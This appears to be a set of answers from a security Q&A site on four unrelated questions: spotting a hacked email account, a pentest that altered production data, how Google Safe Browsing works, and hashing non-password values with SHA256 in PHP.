For you to recieve emails from different sites your email does not have to be hacked. Anyone who has your email adress could have signed it up for different accounts or mail lists. Or it is just random spam, that your recieve without anyone signing you up for anything.

If you email has been used to succesfully create an account on a site that requires the user to verify the email by clicking a verification link sent in an email, then that would be a sign that your email is actually hacked.

One way to see if you have been hacked is to see what IP adresses that has been used to access it. Many webmails (e.g. Gmail) provide this service. If you can't find it, perhaps you can ask whoever operates your mail server for a list. If you find suspicious IP addresses there (e.g. from a country you have never been to) that is a sign you have been hacked.

To stop the emails, just mark them as spam. No matter what, you should probably change your email password right away, just in case. I don't think you have been hacked, but it never hurts.


Should an automated vulnerability test actually delete or modify data in production?

1 This is quite uncommon. And when it happens, it is highly undesirable. I know pentesters who've lost customers for a LOT less serious screw ups.

2 yes, definitely. The evidence is there; dropping a table is something you have to be very explicit about.

I would look into the pentest agreement you signed. Any pentest contract should have a clear scope defined, excluding production environments from actions that could impact them.


How Anti Phishing in Google Safe Browsing works?

Google Safe Browsing just checks against a database provided by Google if the visited URL is potentially malicious. There are no heuristics employed by the client using Google Safe Browsing but instead every intelligence is in the crawling and classification process done by Google.


one-way hash with PhP onto MySQL database (NOT for password)

Hashes
Your issue is that password_hash is designed for passwords and so always assigns a random salt - this is why you get a different hash everytime.  You want to use just a hash and skip the salt, which password_hash won't let you do.  You should probably just use plain ol' SHA256 which PHP can provide for you via the hash function.
A Caveat
I don't quite understand the background of what you are doing, but there is a good chance that this entire idea is a non-starter.  Here's the dangerous statement:

Ideally I want to hash the locations so ... I can confirm whether the
website they came from is registered

You should know that there is simply no way to confirm where the data came from.  Absolutely none at all.  HTTP/browsers/the internet provide absolutely no way to tell for certain what website a particular request came from, especially since you can't even guarantee that a request is even coming from a browser in the first place.
You should probably make sure you understand the full implications of the above before you go much farther.
Brute Force
You asked about the risk of someone guessing a hash.  You probably don't have to worry about that.  The hash generated by the SHA256 algorithm is (not coincidentally) a 256 bit hash.  This means that there are 1e77 possible hashes.  This makes it statistically impossible for a user to guess a hash for any reasonable number of websites.  From the description in your comments, it also seems unlikely that they would be able to bruteforce your plain text values, although that is harder to guess from here.
However, keep in mind that these values are not actually secrets.  Anyone who is on one of these sites would be able to see the hash going back and forth, and so can easily find it once they are on the actual site.  It sounds like the hash is kind of like an API key, but if it is sent/known by JavaScript running in the browser, then that means it is completely public.  Once again, make sure you understand the full implications of that and are okay with it.  In short:
If someone visits a website, takes the hash, and then starts doing [evil] with it, what is the worst that they can do?
Make sure you are okay with the answer to that question!